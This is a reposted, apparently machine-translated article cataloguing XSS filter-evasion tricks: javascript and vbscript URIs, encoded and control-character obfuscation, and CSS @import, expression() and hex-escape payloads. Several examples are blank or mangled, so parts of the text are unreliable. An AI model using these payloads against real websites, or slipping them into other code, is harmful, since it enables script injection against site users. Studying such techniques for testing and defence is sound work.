XSS code trigger conditions and common methods for inserting XSS code

Source: Internet
Author: User
Tags control characters

1. Script insertion
 
(1) Insert normal javascript and vbscript characters.
Example 1:
Example 2: <table background = "javascript: alert (/xss/)"> </table> '/Insert a script into the table
Example 3:
(2) conversion character type. Converts any or all of the characters in javascript or vbscript to a decimal or hexadecimal character.
Example 1: '/convert the j character into a decimal character j.
Example 2: '/convert the j character to the hexadecimal character j.
(3) Insert obfuscation characters. In system control characters, except for the & #00 (null) and del at the end of the header, the other 31 characters can be mixed characters, such as, and can be inserted
The header of javascript or vbscript. the Tab, line feed, and carriage return can also be inserted anywhere in the code.
Example 1: '/insert it into the code header, which can be written in, with the same effect
Example 2: '/insert it to any position in the code, which can be written
Example 3: '/is the hexadecimal form of the carriage return.
Example 4: '/is the hexadecimal form of line breaks
2. style sheet www.2cto.com
(1) XSS vulnerability triggered by CSS code @ import and expression.
Example 1: @ import "http: // web/xss.css"; 'import a CSS style sheet with XSS code externally.
Example 2: @ import 'javascript: alert ("xss") '; 'call javascript script to trigger the vulnerability
Example 3: body {xss: expression (alert ('xss')} 'add an expression event to the internal style sheet
Example 4: 'add an expression event to the embedded style sheet
(2) Add javascript and vbscript scripts to the CSS code.
Example 1: body {background-image: url (javascript: alert ("xss "))}
Example 2: body {background-image: url (vbscript: msgbox ("xss "))}
(3) convert the character type and replace or all the characters with hexadecimal characters:
Example 1: @ \ 0069 mport: url (web/1.css); '// convert I to \ 0069
Example 2: body {xss: \ 0065 xpression (alert ('xss')} '// convert e to \ 0065
Example 3: body {background-image: \ 0075 \ 0072 \ 006c ...} 'Convert all URLs to hexadecimal
(4) Insert obfuscation characters. In css,/**/is a comment character,, characters "\" and terminator "\ 0" are also ignored and can be used to confuse characters.
Example 1: @ \ 0im \ port '\ 0ja \ vasc \ rept: alert ("xss ")';
Example 2: @ \ I \ 0m \ 00p \ 000o \ 0000 \ 00000r \ 000000t "url ";

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.